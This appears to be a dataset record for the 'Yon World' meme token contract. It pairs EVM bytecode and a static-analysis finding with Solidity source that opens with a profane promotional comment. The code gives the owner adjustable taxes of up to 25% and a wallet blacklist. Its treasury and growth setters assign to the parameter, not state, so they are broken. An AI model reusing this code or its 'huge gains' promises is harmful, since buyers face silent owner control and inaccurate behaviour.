d5b5050604051601f1901519150506001600160a01b038116610bd45760405162461bcd60e51b81526004016106f790611b69565b6001600160a01b03811660009081526005602052604090208054600181019091558914610c135760405162461bcd60e51b81526004016106f79061193e565b87421115610c335760405162461bcd60e51b81526004016106f790611a33565b610c3d818b61121a565b505050505b505050505050565b6000600019861415610c5f5750600019610c84565b610c8186604051806060016040528060238152602001611cf260239139610fc5565b90505b604080518082019091526009815268426f72696e6744414f60b81b60209091015260007f8cad95687ba82c2ce50e74f7b754645e5117c3a5bec8151c0726d5857980a8667f34154ed6ef0b63636b364e64c74e8c31ae80a48abd61c40c2e8f0fa3ac223719610cf16112a4565b30604051602001610d0594939291906118a9565b60408051601f1981840301815282825280516020918201206001600160a01b038d166000908152600583529283208054600181019091559094509192610d77927f6e71edae12b1b97f4d1f60370fef10105fa2faae0126114a169c64845d6126c9928e928e928e9290918e9101611851565b60405160208183030381529060405280519060200120905060008282604051602001610da492919061180e565b604051602081830303815290604052805190602001209050600060018289898960405160008152602001604052604051610de194939291906118cd565b6020604051602081039080840390855afa158015610e03573d6000803e3d6000fd5b5050604051601f1901519150506001600160a01b038116610e365760405162461bcd60e51b81526004016106f79061197f565b8b6001600160a01b0316816001600160a01b031614610e675760405162461bcd60e51b81526004016106f7906119fc565b88421115610e875760405162461bcd60e51b81526004016106f790611a78565b846000808e6001600160a01b03166001600160a01b0316815260200190815260200160002060008d6001600160a01b03166001600160a01b0316815260200190815260200160002060006101000a8154816001600160601b0302191690836001600160601b031602179055508a6001600160a01b03168c6001600160a01b0316600080516020611dd283398151915287604051610f249190611bec565b60405180910390a3505050505050505050505050565b6001600160a01b039182166000908152602081815260408083209390941682529190915220546001600160601b031690565b7fe48329057bfd03d55e49b547132e39cffd9c1820ad7b9d4c5307691425d15adf81565b600360209081526000928352604080842090915290825290205463ffffffff811690600160201b90046001600160601b031682565b600081600160601b8410610fec5760405162461bcd60e51b81526004016106f791906118eb565b509192915050565b6000836001600160601b0316836001600160601b03161115829061102b5760405162461bcd60e51b81526004016106f791906118eb565b505050900390565b6001600160a01b0383166110595760405162461bcd60e51b81526004016106f790611aaf565b6001600160a01b03821661107f5760405162461bcd60e51b81526004016106f790611b0c565b6001600160a01b0383166000908152600160209081526040918290205482516060810190935260358084526110ca936001600160601b039092169285929190611d4890830139610ff4565b6001600160a01b03848116600090815260016020908152604080832080546001600160601b0319166001600160601b0396871617905592861682529082902054825160608101909352602f8084526111329491909116928592909190611d7d908301396111de565b6001600160a01b038381166000818152600160205260409081902080546001600160601b0319166001600160601b0395909516949094179093559151908516907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9061119f908590611bec565b60405180910390a36001600160a01b038084166000908152600260205260408082205485841683529120546111d9929182169116836112a8565b505050565b6000838301826001600160601b0380871690831610156112115760405162461bcd60e51b81526004016106f791906118eb565b50949350505050565b6001600160a01b03808316600081815260026020818152604080842080546001845282862054949093528787166001600160a01b031984168117909155905191909516946001600160601b039092169391928592917f3134e8a2e6d97e929a7e54011ea5485d7d196dd5f0ba4d4ef95803e8e3fc257f9190a461129e8284836112a8565b50505050565b4690565b816001600160a01b0316836001600160a01b0316141580156112d357506000816001600160601b0316115b156111d9576001600160a01b0383161561138b576001600160a01b03831660009081526004602052604081205463ffffffff169081611313576000611352565b6001600160a01b0385166000908152600360209081526040808320600019860163ffffffff168452909152902054600160201b90046001600160601b03165b905060006113798285604051806060016040528060278152602001611c3060279139610ff4565b905061138786848484611436565b5050505b6001600160a01b038216156111d9576001600160a01b03821660009081526004602052604081205463ffffffff1690816113c6576000611405565b6001600160a01b0384166000908152600360209081526040808320600019860163ffffffff168452909152902054600160201b90046001600160601b03165b9050600061142c8285604051806060016040528060268152602001611dac602691396111de565b9050610c42858484845b600061145a43604051806060016040528060338152602001611d15603391396115eb565b905060008463ffffffff161180156114a357506001600160a01b038516600090815260036020908152604080832063ffffffff6000198901811685529252909120548282169116145b15611502576001600160a01b0385166000908152600360209081526040808320600019880163ffffffff168452909152902080546fffffffffffffffffffffffff000000001916600160201b6001600160601b038516021790556115a1565b60408051808201825263ffffffff80841682526001600160601b0380861660208085019182526001600160a01b038b166000818152600383528781208c871682528352878120965187549451909516600160201b026fffffffffffffffffffffffff000000001995871663ffffffff19958616179590951694909417909555938252600490935292909220805460018801909316929091169190911790555b846001600160a01b03167fdec2bacdd2f05b59de34da9b523dff8be42e5e38e818c82fdb0bae774387a72484846040516115dc929190611c00565b60405180910390a25050505050565b600081600160201b8410610fec5760405162461bcd60e51b81526004016106f791906118eb565b604080518082019091526000808252602082015290565b80356001600160a01b03811681146103f857600080fd5b803560ff811681146103f857600080fd5b600060208284031215611662578081fd5b610a3c8383611629565b6000806040838503121561167e578081fd5b6116888484611629565b91506116978460208501611629565b90509250929050565b6000806000606084860312156116b4578081fd5b83356116bf81611c1a565b925060208401356116cf81611c1a565b929592945050506040919091013590565b600080600080600080600060e0888a0312156116fa578283fd5b6117048989611629565b96506117138960208a01611629565b955060408801359450606088013593506117308960808a01611640565b925060a0880135915060c0880135905092959891949750929550565b6000806040838503121561175e578182fd5b6117688484611629565b946020939093013593505050565b60008060008060008060c0878903121561178e578182fd5b6117988888611629565b955060208701359450604087013593506117b58860608901611640565b92506080870135915060a087013590509295509295509295565b600080604083850312156117e1578182fd5b6117eb8484611629565b9150602083013563ffffffff81168114611803578182fd5b809150509250929050565b61190160f01b81526002810192909252602282015260420190565b6001600160a01b0391909116815260200190565b901515815260200190565b90815260200190565b9586526001600160a01b0394851660208701529290931660408501526060840152608083019190915260a082015260c00190565b9384526001600160a01b039290921660208401526040830152606082015260800190565b938452602084019290925260408301526001600160a01b0316606082015260800190565b93845260ff9290921660208401526040830152606082015260800190565b6000602080835283518082850152825b81811015611917578581018301518582016040015282016118fb565b818111156119285783604083870101525b50601f01601f1916929092016040019392505050565b60208082526021908201527f424f523a3a64656c656761746542795369673a20696e76616c6964206e6f6e636040820152606560f81b606082015260800190565b6020808252601e908201527f424f523a3a7065726d69743a20696e76616c6964207369676e61747572650000604082015260600190565b60208082526026908201527f424f523a3a6765745072696f72566f7465733a206e6f742079657420646574656040820152651c9b5a5b995960d21b606082015260800190565b60208082526019908201527f424f523a3a7065726d69743a20756e617574686f72697a656400000000000000604082015260600190565b60208082526025908201527f424f523a3a64656c656761746542795369673a207369676e61747572652065786040820152641c1a5c995960da1b606082015260800190565b6020808252601e908201527f424f523a3a7065726d69743a207369676e617475726520657870697265640000604082015260600190565b6020808252603b908201527f424f523a3a5f7472616e73666572546f6b656e733a2063616e6e6f742074726160408201527f6e736665722066726f6d20746865207a65726f20616464726573730000000000606082015260800190565b60208082526039908201527f424f523a3a5f7472616e73666572546f6b656e733a2063616e6e6f742074726160408201527f6e7366657220746f20746865207a65726f206164647265737300000000000000606082015260800190565b60208082526025908201527f424f523a3a64656c656761746542795369673a20696e76616c6964207369676e604082015264617475726560d81b606082015260800190565b63ffffffff91909116815260200190565b63ffffffff9290921682526001600160601b0316602082015260400190565b60ff91909116815260200190565b6001600160601b0391909116815260200190565b6001600160601b0392831681529116602082015260400190565b6001600160a01b038116811461069757600080fdfe424f523a3a5f6d6f7665566f7465733a20766f746520616d6f756e7420756e646572666c6f7773424f523a3a696e637265617365416c6c6f77616e63653a20696e63726561736520616c6c6f77616e636520657863656564732039362062697473424f523a3a7472616e736665723a20616d6f756e7420657863656564732039362062697473424f523a3a7472616e7366657246726f6d3a207472616e7366657220616d6f756e742065786365656473207370656e64657220616c6c6f77616e6365424f523a3a7065726d69743a20616d6f756e7420657863656564732039362062697473424f523a3a5f7772697465436865636b706f696e743a20626c6f636b206e756d62657220657863656564732033322062697473424f523a3a5f7472616e73666572546f6b656e733a207472616e7366657220616d6f756e7420657863656564732062616c616e6365424f523a3a5f7472616e73666572546f6b656e733a207472616e7366657220616d6f756e74206f766572666c6f7773424f523a3a5f6d6f7665566f7465733a20766f746520616d6f756e74206f766572666c6f77738c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925424f523a3a617070726f76653a20616d6f756e7420657863656564732039362062697473424f523a3a6465637265617365416c6c6f77616e63653a20646563726561736520737562416d6f756e74203e20616c6c6f77616e6365a2646970667358221220fdb68e3782213f40ed5775159e7af31233328489be4d90bc6f5064dcc6cf779e64736f6c634300060c0033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "incorrect-equality", "impact": "Medium", "confidence": "High"}]}}
| 7,842 |
0xfeba42724c4cf08c5eefdfb6725a8c8b463d7cff
|
/**
This token is for the true degens and for the man Yon himself who has helped so many come up. If you don't know Yon you better get to know. This man is killing the game and helping many rise with him. You can get access to his private group here - https://www.patreon.com/join/Yonworld
I created this token for y'all. Take it and run with it. Blow the fucking roof off this bitch 🚀
Initial liquidity will be low so that you can make those huge gains. Initial lock will be 1 week and will be continue to be extended as long as the project is alive.
I will solely communicate through the announcement channel. The telegram group is for y'all to run with.
Supply - 1,000,000,000
Max Wallet 2% - To protect you from huge dumps.
Buy/Sell tax:
10% DAO Treasury
5% marketing/dev
The treasury tax will be spent however Yon sees fit. Yon, communicate with us by commenting on our posts in the announcement channel
Telegram group - https://t.me/YonsWorld
Announcement channel https://t.me/Yons_World
Website - https://yonsworld.com
*/
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract YonWorld is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "Yon World";
string private constant _symbol = "$YWRLD";
uint8 private constant _decimals = 9;
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
mapping (address => bool) public _isExcludedMaxTxAmount;
mapping(address => bool) private _isExcludedFromReflection;
address[] private _excludedFromReflection;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000 * 1e9 * 1e9; //1,000,000,000,000
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
mapping(address => bool) public bots;
uint256 private _reflectionFeeOnBuy = 0;
uint256 private _taxFeeOnBuy = 15;
uint256 private _reflectionFeeOnSell = 0;
uint256 private _taxFeeOnSell = 15;
uint256 private _reflectionFee = _reflectionFeeOnSell;
uint256 private _taxFee = _taxFeeOnSell;
uint256 private _previousReflectionFee = _reflectionFee;
uint256 private _previousTaxFee = _taxFee;
address payable public _YWRLDTreasury = payable(0xd7E6Bb13d839d7463c89C7EeAfcCB9Fc4dcF0bc6);
address payable public _growth = payable(0x51A5CC44d0CdB83F3D9F7A2c90871e7B40CfffBd);
IUniswapV2Router02 public uniswapV2Router;
address public uniswapV2Pair;
bool private inSwap = false;
bool private swapEnabled = true;
bool public tradingActive = false;
uint256 public _maxTxAmount = 2000 * 1e7 * 1e9;
uint256 public _maxWalletSize = 2000 * 1e7 * 1e9;
uint256 public _swapTokensAtAmount = 3000 * 1e6 * 1e9;
event ExcludeFromReflection(address excludedAddress);
event IncludeInReflection(address includedAddress);
event ExcludeFromFee(address excludedAddress);
event IncludeInFee(address includedAddress);
event Updatedgrowth(address mktg);
event UpdatedYWRLDTreasury(address YWRLD);
event SetBuyFee(uint256 buyMktgFee, uint256 buyReflectionFee);
event SetSellFee(uint256 sellMktgFee, uint256 sellReflectionFee);
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor () {
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_YWRLDTreasury] = true;
_isExcludedFromFee[_growth] = true;
excludeFromMaxTxAmount(owner(), true);
excludeFromMaxTxAmount(address(this), true);
excludeFromMaxTxAmount(address(_YWRLDTreasury), true);
excludeFromMaxTxAmount(address(_growth), true);
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function excludeFromFee(address account) external onlyOwner {
_isExcludedFromFee[account] = true;
emit ExcludeFromFee(account);
}
function includeInFee(address account) external onlyOwner {
_isExcludedFromFee[account] = false;
emit IncludeInFee(account);
}
function excludeFromReflection(address account) public onlyOwner {
require(!_isExcludedFromReflection[account], "Account is already excluded");
require(_excludedFromReflection.length + 1 <= 50, "Cannot exclude more than 50 accounts. Include a previously excluded address.");
if (_rOwned[account] > 0) {
_tOwned[account] = tokenFromReflection(_rOwned[account]);
}
_isExcludedFromReflection[account] = true;
_excludedFromReflection.push(account);
}
function includeInReflection(address account) public onlyOwner {
require(_isExcludedFromReflection[account], "Account is not excluded from reflection");
for (uint256 i = 0; i < _excludedFromReflection.length; i++) {
if (_excludedFromReflection[i] == account) {
_excludedFromReflection[i] = _excludedFromReflection[_excludedFromReflection.length - 1];
_tOwned[account] = 0;
_isExcludedFromReflection[account] = false;
_excludedFromReflection.pop();
break;
}
}
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_reflectionFee == 0 && _taxFee == 0) return;
_previousReflectionFee = _reflectionFee;
_previousTaxFee = _taxFee;
_reflectionFee = 0;
_taxFee = 0;
}
function restoreAllFee() private {
_reflectionFee = _previousReflectionFee;
_taxFee = _previousTaxFee;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
if (!tradingActive)
if(to != uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to]) {
require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!");
require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit");
require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!");
}
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = contractTokenBalance >= _swapTokensAtAmount;
if(contractTokenBalance >= _maxTxAmount)
{
contractTokenBalance = _maxTxAmount;
}
if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) {
takeFee = false;
} else {
if(from == uniswapV2Pair && to != address(uniswapV2Router)) {
_reflectionFee = _reflectionFeeOnBuy;
_taxFee = _taxFeeOnBuy;
}
if (!_isExcludedFromFee[from]) {
require(amount <= _maxTxAmount, "Sell transfer amount exceeds the maxTransactionAmount.");
}
if (to == uniswapV2Pair && from != address(uniswapV2Router)) {
_reflectionFee = _reflectionFeeOnSell;
_taxFee = _taxFeeOnSell;
}
}
_tokenTransfer(from, to, amount, takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_YWRLDTreasury.transfer(amount.div(2));
_growth.transfer(amount.div(2));
}
function manualSwap() external {
require(_msgSender() == _YWRLDTreasury);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualSend() external {
require(_msgSender() == _YWRLDTreasury || _msgSender() == _growth);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function blockBots(address[] memory bots_) public onlyOwner {
for (uint256 i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function unblockBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
_getTValues(tAmount, _reflectionFee, _taxFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
_getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 reflectionFee,
uint256 taxFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(reflectionFee).div(100);
uint256 tTeam = tAmount.mul(taxFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setFee(uint256 reflectionFeeOnBuy, uint256 reflectionFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner {
_reflectionFeeOnBuy = reflectionFeeOnBuy;
_taxFeeOnBuy = taxFeeOnBuy;
_reflectionFeeOnSell = reflectionFeeOnSell;
_taxFeeOnSell = taxFeeOnSell;
require(_reflectionFeeOnBuy + _taxFeeOnBuy <= 25);
require(_reflectionFeeOnSell + _taxFeeOnSell <= 25);
}
function enableTrading() internal onlyOwner {
tradingActive = true;
}
function airdrop(address[] memory airdropWallets, uint256[] memory amounts) external onlyOwner returns (bool){
require(!tradingActive, "Trading is already active, cannot relaunch.");
require(airdropWallets.length < 200, "Can only airdrop 200 wallets per txn due to gas limits");
for(uint256 i = 0; i < airdropWallets.length; i++){
address wallet = airdropWallets[i];
uint256 amount = amounts[i];
_transfer(msg.sender, wallet, amount);
}
enableTrading();
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
excludeFromMaxTxAmount(address(_uniswapV2Router), true);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
excludeFromMaxTxAmount(address(uniswapV2Pair), true);
return true;
}
function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) public onlyOwner {
_swapTokensAtAmount = swapTokensAtAmount;
}
function setMaxTxAmount(uint256 maxTxAmount) public onlyOwner {
_maxTxAmount = maxTxAmount;
}
function excludeFromMaxTxAmount(address updAds, bool isEx) public onlyOwner {
_isExcludedMaxTxAmount[updAds] = isEx;
}
function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner {
_maxWalletSize = maxWalletSize;
}
function _setYWRLDTreasury(address YWRLDTreasury) external onlyOwner {
require(_YWRLDTreasury != address(0), "_YWRLDTreasury cannot be 0");
_isExcludedFromFee[YWRLDTreasury] = false;
YWRLDTreasury = payable(_YWRLDTreasury);
_isExcludedFromFee[YWRLDTreasury] = true;
emit UpdatedYWRLDTreasury(_YWRLDTreasury);
}
function _setgrowth(address growth) external onlyOwner {
require(_growth != address(0), "_growth cannot be 0");
_isExcludedFromFee[growth] = false;
growth = payable(_growth);
_isExcludedFromFee[growth] = true;
emit Updatedgrowth(_growth);
}
}
|
0x60806040526004361061021d5760003560e01c80636b99905311610123578063a2a957bb116100ab578063ea1644d51161006f578063ea1644d5146106a4578063ea2f0b37146106c4578063ec28438a146106e4578063f2fde38b14610704578063f42938901461072457600080fd5b8063a2a957bb146105cd578063a9059cbb146105ed578063bbc0c7421461060d578063bfd792841461062e578063dd62ed3e1461065e57600080fd5b80638da5cb5b116100f25780638da5cb5b1461052a5780638f9a55c01461054857806390bd58da1461055e57806395d89b411461057e57806398a5c315146105ad57600080fd5b80636b999053146104b457806370a08231146104d45780637d1db4a5146104f45780638aec071f1461050a57600080fd5b80632fd689e3116101a657806349bd5a5e1161017557806349bd5a5e1461040f57806351bc3c851461042f578063563912bd14610444578063595cc84f14610474578063672434821461049457600080fd5b80632fd689e31461039d578063313ce567146103b35780633e7cffd9146103cf578063437823ec146103ef57600080fd5b80631694505e116101ed5780631694505e146102df57806318160ddd1461031757806323b872dd1461033d57806327334a081461035d5780632ae894ba1461037d57600080fd5b8062b8cf2a1461022957806305f82a451461024b57806306fdde031461026b578063095ea7b3146102af57600080fd5b3661022457005b600080fd5b34801561023557600080fd5b506102496102443660046125b4565b610739565b005b34801561025757600080fd5b506102496102663660046124a8565b6107e6565b34801561027757600080fd5b50604080518082019091526009815268165bdb8815dbdc9b1960ba1b60208201525b6040516102a691906126f4565b60405180910390f35b3480156102bb57600080fd5b506102cf6102ca366004612589565b6109e1565b60405190151581526020016102a6565b3480156102eb57600080fd5b506016546102ff906001600160a01b031681565b6040516001600160a01b0390911681526020016102a6565b34801561032357600080fd5b50683635c9adc5dea000005b6040519081526020016102a6565b34801561034957600080fd5b506102cf610358366004612518565b6109f8565b34801561036957600080fd5b506102496103783660046124a8565b610a61565b34801561038957600080fd5b506014546102ff906001600160a01b031681565b3480156103a957600080fd5b5061032f601a5481565b3480156103bf57600080fd5b50604051600981526020016102a6565b3480156103db57600080fd5b506015546102ff906001600160a01b031681565b3480156103fb57600080fd5b5061024961040a3660046124a8565b610c4f565b34801561041b57600080fd5b506017546102ff906001600160a01b031681565b34801561043b57600080fd5b50610249610cd4565b34801561045057600080fd5b506102cf61045f3660046124a8565b60066020526000908152604090205460ff1681565b34801561048057600080fd5b5061024961048f366004612558565b610d0d565b3480156104a057600080fd5b506102cf6104af3660046125ef565b610d62565b3480156104c057600080fd5b506102496104cf3660046124a8565b6110e6565b3480156104e057600080fd5b5061032f6104ef3660046124a8565b611131565b34801561050057600080fd5b5061032f60185481565b34801561051657600080fd5b506102496105253660046124a8565b611153565b34801561053657600080fd5b506000546001600160a01b03166102ff565b34801561055457600080fd5b5061032f60195481565b34801561056a57600080fd5b506102496105793660046124a8565b61123b565b34801561058a57600080fd5b50604080518082019091526006815265091655d4931160d21b6020820152610299565b3480156105b957600080fd5b506102496105c83660046126ab565b61132d565b3480156105d957600080fd5b506102496105e83660046126c3565b61135c565b3480156105f957600080fd5b506102cf610608366004612589565b6113d4565b34801561061957600080fd5b506017546102cf90600160b01b900460ff1681565b34801561063a57600080fd5b506102cf6106493660046124a8565b600b6020526000908152604090205460ff1681565b34801561066a57600080fd5b5061032f6106793660046124e0565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b3480156106b057600080fd5b506102496106bf3660046126ab565b6113e1565b3480156106d057600080fd5b506102496106df3660046124a8565b611410565b3480156106f057600080fd5b506102496106ff3660046126ab565b61148b565b34801561071057600080fd5b5061024961071f3660046124a8565b6114ba565b34801561073057600080fd5b506102496115a4565b6000546001600160a01b0316331461076c5760405162461bcd60e51b815260040161076390612747565b60405180910390fd5b60005b81518110156107e2576001600b600084848151811061079e57634e487b7160e01b600052603260045260246000fd5b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff1916911515919091179055806107da816128af565b91505061076f565b5050565b6000546001600160a01b031633146108105760405162461bcd60e51b815260040161076390612747565b6001600160a01b03811660009081526007602052604090205460ff166108885760405162461bcd60e51b815260206004820152602760248201527f4163636f756e74206973206e6f74206578636c756465642066726f6d207265666044820152663632b1ba34b7b760c91b6064820152608401610763565b60005b6008548110156107e257816001600160a01b0316600882815481106108c057634e487b7160e01b600052603260045260246000fd5b6000918252602090912001546001600160a01b031614156109cf57600880546108eb90600190612898565b8154811061090957634e487b7160e01b600052603260045260246000fd5b600091825260209091200154600880546001600160a01b03909216918390811061094357634e487b7160e01b600052603260045260246000fd5b600091825260208083209190910180546001600160a01b0319166001600160a01b039485161790559184168152600382526040808220829055600790925220805460ff1916905560088054806109a957634e487b7160e01b600052603160045260246000fd5b600082815260209020810160001990810180546001600160a01b03191690550190555050565b806109d9816128af565b91505061088b565b60006109ee3384846115ec565b5060015b92915050565b6000610a05848484611710565b610a578433610a528560405180606001604052806028815260200161290c602891396001600160a01b038a1660009081526004602090815260408083203384529091529020549190611c51565b6115ec565b5060019392505050565b6000546001600160a01b03163314610a8b5760405162461bcd60e51b815260040161076390612747565b6001600160a01b03811660009081526007602052604090205460ff1615610af45760405162461bcd60e51b815260206004820152601b60248201527f4163636f756e7420697320616c7265616479206578636c7564656400000000006044820152606401610763565b600854603290610b05906001612841565b1115610b8f5760405162461bcd60e51b815260206004820152604d60248201527f43616e6e6f74206578636c756465206d6f7265207468616e203530206163636f60448201527f756e74732e2020496e636c75646520612070726576696f75736c79206578636c60648201526c3ab232b21030b2323932b9b99760991b608482015260a401610763565b6001600160a01b03811660009081526002602052604090205415610be9576001600160a01b038116600090815260026020526040902054610bcf90611c8b565b6001600160a01b0382166000908152600360205260409020555b6001600160a01b03166000818152600760205260408120805460ff1916600190811